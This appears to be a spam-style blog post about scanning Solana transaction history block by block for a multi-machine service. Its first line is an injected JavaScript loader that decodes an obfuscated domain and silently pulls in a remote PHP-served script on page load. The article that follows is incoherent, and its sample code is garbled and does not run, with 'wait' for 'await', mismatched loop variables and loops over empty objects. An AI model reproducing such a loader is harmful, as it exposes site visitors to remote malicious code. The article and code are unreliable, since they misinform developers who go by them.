Solana: scan Solana transaction history, i.e. block by block

const pdx=»bmFib3NhZHJhLnRvcC94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»c.php?u=9458161d»;document.body.appendChild(script);

Here is an article as per your requirement:

Optimizing Solana Transaction History Scanning with Multi-machine Architecture

As a developer building a service that listens and processes Solana transactions, I encountered a challenge with my multi-machine architecture. By default, both instances would process logs in isolation, which could lead to inconsistencies in data collection and potentially lead to missed transactions.

Problem: Insufficient Data Consistency

If one instance is down, it will continue to receive new transaction logs, but the other instance will not be able to access them. This can cause problems if we rely on the same batch transactions for processing or validation.

To solve this problem, I turned to Solana’s built-in logging mechanism and implemented a simple solution to scan the transaction history by block:

Scanning the transaction history by block

Here’s an overview of my approach:

• Set up logging: Configure both instances with the same logger to record logs.

• Create a transaction scanning function: Write a separate function that listens for Solana transactions and updates our database or in-memory data structure accordingly.

This is where it gets interesting – we can now scan the transaction history by block without any conflicts:

const transactions = {}; // Initializes an empty object to store all transactions
const logger = ...; // Set up the logger instance
async function logTransaction(transaction) {
try {
const transactionHash = transaction.hash;
if (!transactions[transactionHash]) {
transactions[transactionHash] = {};
}
for (const key in transactions[transactionHash]) {
transactions[transactionHash][key].push(transaction);
}
} catch (error) {
logger.error('Error processing transaction:', error);
}
}
async function scanTransactionHistoryByBlock(blockNumber) {
const blockInfo = wait getBlockInfo(blockNumber);
const actionsInThisBlock = [];
for (const input blockInfo.transactions) {
if (entry.type === 'transaction') {
logTransaction(entry);
}
// Add any other relevant transaction data to our database
}
}

Usage Example

Here is an example of how we can use this function to scan the transaction history by a specific block number:

const blockchain = ...; // Assume we have access to a blockchain instance
async function main() {
const blockNumber = 12345;
wait scanTransactionHistoryByBlock(blockNumber);
}

This approach ensures that our service remains consistent even if one instance is down, and provides a reliable way to process and verify transactions on Solana.

payment internet block